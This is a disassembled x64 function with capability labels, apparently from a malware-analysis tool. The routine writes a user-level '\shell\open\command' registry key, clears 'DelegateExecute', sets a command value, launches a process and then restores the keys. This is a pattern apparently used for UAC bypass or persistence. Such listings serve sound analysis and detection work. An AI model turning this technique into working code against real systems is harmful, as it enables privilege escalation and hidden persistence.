Function at 0x1400050ec
Capabilities:
Delete registry value
Persist via default file association registry key
Query or enumerate registry value
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x9c8]
sub rsp, 0xaa0
xor r13d, r13d
lea rax, [rdx - 1]
mov rsi, rcx
mov dword [rbp + 0x9d8], r13d
mov ecx, 0x102
mov dword [rsp + 0x58], r13d
mov dword [rsp + 0x5c], r13d
mov r15, r8
mov qword [rsp + 0x50], r13
mov ebx, 0xc0000022
cmp rax, rcx
ja 0x1400054e8
lea rax, [r9 - 1]
cmp rax, rcx
ja 0x1400054e1
mov r14, qword [rbp + 0x9f8]
test r14, r14
jne 0x14000516b
mov eax, 0xc00000f4
jmp 0x1400054ed
mov rdx, r15
lea rcx, [rsp + 0x60]
call fcn.1400017f8
lea rdx, str._shellopencommand
lea rcx, [rsp + 0x60]
call fcn.14000174c
lea rax, [rsp + 0x5c]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x60]
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], r13d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400054be
mov r13d, 0x20a
mov dword [rbp + 0x9d8], 0x208
mov ecx, r13d
lea rdi, [rbp + 0x170]
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x9d8]
mov qword [rsp + 0x28], rax
lea rdx, [0x140024d80]
lea rax, [rbp + 0x170]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea rdi, [rbp + 0x380]
mov dword [rsp + 0x58], 0x208
mov r12d, eax
lea rdx, str.DelegateExecute
xor eax, eax
mov ecx, r13d
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rbp + 0x380]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edi, eax
mov rax, qword [0x14002e920]
cmp dword [rax + 0x58], 2
jne 0x1400052ca
lea r14, [0x140024d80]
lea r9, str.REG_SZ
mov qword [rsp + 0x20], r14
lea r8, str.DelegateExecute
lea rdx, [rsp + 0x60]
call fcn.140010b30
xor r13d, r13d
test al, al
je 0x140005444
mov rax, qword [rbp + 0x9f0]
lea r9, str.REG_SZ
mov r8, r14
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
call fcn.140010b30
test al, al
je 0x140005444
jmp 0x140005343
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x590]
xor r13d, r13d
lea rdx, str.DelegateExecute
mov dword [rsp + 0x28], r13d
xor r8d, r8d
mov word [rbp + 0x590], r13w
mov qword [rsp + 0x20], rax
lea r9d, [r13 + 1]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140005444
mov rcx, qword [rsp + 0x50]
lea eax, [r14*2 + 2]
mov dword [rsp + 0x28], eax
lea r14, [0x140024d80]
mov rax, qword [rbp + 0x9f0]
lea r9d, [r13 + 1]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, r14
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140005444
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rdx, qword [0x14002e920]
lea rcx, [rbp + 0x590]
add rdx, 0x276
call fcn.1400017f8
lea rcx, [rbp + 0x590]
test rsi, rsi
je 0x1400053a7
cmp word [rbp + 0x590], r13w
je 0x140005388
add rcx, 2
cmp word [rcx], r13w
jne 0x14000537e
movzx eax, word [rsi]
test ax, ax
je 0x1400053a3
sub rsi, rcx
mov word [rcx], ax
add rcx, 2
movzx eax, word [rsi + rcx]
test ax, ax
jne 0x140005393
mov word [rcx], r13w
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor edx, edx
lea rcx, [rbp + 0x590]
call fcn.14000ed8c
neg eax
sbb ecx, ecx
not ecx
and ebx, ecx
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
test r12d, r12d
je 0x1400053e8
mov rcx, qword [rsp + 0x50]
mov rdx, r14
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x140005444
mov rax, qword [0x14002e920]
cmp dword [rax + 0x58], 2
je 0x140005424
mov eax, dword [rbp + 0x9d8]
mov r9d, 1
mov rcx, qword [rsp + 0x50]
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov rdx, r14
lea rax, [rbp + 0x170]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x140005444
lea rax, [rbp + 0x170]
mov r8, r14
lea r9, str.REG_SZ
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x60]
call fcn.140010b30
test edi, edi
jne 0x1400054ac
mov rax, qword [0x14002e920]
cmp dword [rax + 0x58], 2
jne 0x14000547b
lea rax, [rbp + 0x380]
lea r9, str.REG_SZ
mov qword [rsp + 0x20], rax
lea r8, str.DelegateExecute
lea rdx, [rsp + 0x60]
call fcn.140010b30
jmp 0x1400054be
mov eax, dword [rsp + 0x58]
lea rdx, str.DelegateExecute
mov rcx, qword [rsp + 0x50]
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
lea rax, [rbp + 0x380]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
jmp 0x1400054be
mov rcx, qword [rsp + 0x50]
lea rdx, str.DelegateExecute
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400054ce
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rsp + 0x5c], 1
jne 0x1400054dd
mov rdx, r15
call fcn.14000f7b0
mov eax, ebx
jmp 0x1400054ed
mov eax, 0xc00000f2
jmp 0x1400054ed
mov eax, 0xc00000f0
lea r11, [rsp + 0xaa0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret